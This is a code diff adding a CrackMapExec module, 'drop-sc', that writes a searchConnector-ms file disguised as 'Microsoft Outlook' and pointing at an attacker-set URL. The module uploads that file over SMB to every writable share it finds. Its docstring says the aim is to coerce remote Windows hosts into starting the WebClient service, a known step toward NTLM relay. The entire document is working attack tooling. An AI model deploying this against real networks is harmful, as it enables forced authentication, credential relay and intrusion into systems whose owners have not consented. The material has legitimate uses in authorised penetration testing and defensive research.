|
| 1 | +import ntpath |
| 2 | + |
| 3 | +class CMEModule: |
| 4 | + ''' |
| 5 | + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. |
| 6 | + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ |
| 7 | + Module by @zblurx |
| 8 | + ''' |
| 9 | + |
| 10 | + name = 'drop-sc' |
| 11 | + description = 'Drop a searchConnector-ms file on each writable share' |
| 12 | + supported_protocols = ["smb"] |
| 13 | + opsec_safe= False |
| 14 | + multiple_hosts = True |
| 15 | + |
| 16 | + def options(self, context, module_options): |
| 17 | + ''' |
| 18 | + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. |
| 19 | + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ |
| 20 | + Module by @zblurx |
| 21 | + URL URL in the searchConnector-ms file, default https://rickroll |
| 22 | + CLEANUP Cleanup (choices: True or False) |
| 23 | + SHARE Specify a share to target |
| 24 | + FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" |
| 25 | + ''' |
| 26 | + self.cleanup = False |
| 27 | + if 'CLEANUP' in module_options: |
| 28 | + self.cleanup = bool(module_options['CLEANUP']) |
| 29 | + |
| 30 | + self.url = 'https://rickroll' |
| 31 | + if 'URL' in module_options: |
| 32 | + self.url = str(module_options['URL']) |
| 33 | + |
| 34 | + self.sharename = '' |
| 35 | + if 'SHARE' in module_options: |
| 36 | + self.sharename = str(module_options['SHARE']) |
| 37 | + |
| 38 | + self.filename = 'Documents' |
| 39 | + if 'FILENAME' in module_options: |
| 40 | + self.filename = str(module_options['FILENAME']) |
| 41 | + |
| 42 | + self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) |
| 43 | + if not self.cleanup: |
| 44 | + self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) |
| 45 | + scfile = open(self.scfile_path, 'w') |
| 46 | + scfile.truncate(0) |
| 47 | + scfile.write('<?xml version="1.0" encoding="UTF-8"?>') |
| 48 | + scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') |
| 49 | + scfile.write('<description>Microsoft Outlook</description>') |
| 50 | + scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>') |
| 51 | + scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>') |
| 52 | + scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url)) |
| 53 | + scfile.write('<templateInfo>') |
| 54 | + scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>') |
| 55 | + scfile.write('</templateInfo>') |
| 56 | + scfile.write('<simpleLocation>') |
| 57 | + scfile.write('<url>{}</url>'.format(self.url)) |
| 58 | + scfile.write('</simpleLocation>') |
| 59 | + scfile.write('</searchConnectorDescription>') |
| 60 | + scfile.close() |
| 61 | + |
| 62 | + def on_login(self, context, connection): |
| 63 | + shares = connection.shares() |
| 64 | + for share in shares: |
| 65 | + if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): |
| 66 | + context.log.success('Found writable share: {}'.format(share['name'])) |
| 67 | + if not self.cleanup: |
| 68 | + with open(self.scfile_path, 'rb') as scfile: |
| 69 | + try: |
| 70 | + connection.conn.putFile(share['name'], self.file_path, scfile.read) |
| 71 | + context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) |
| 72 | + except Exception as e: |
| 73 | + context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) |
| 74 | + else: |
| 75 | + try: |
| 76 | + connection.conn.deleteFile(share['name'], self.file_path) |
| 77 | + context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) |
| 78 | + except Exception as e: |
| 79 | + context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) |
| 80 | + |
0 commit comments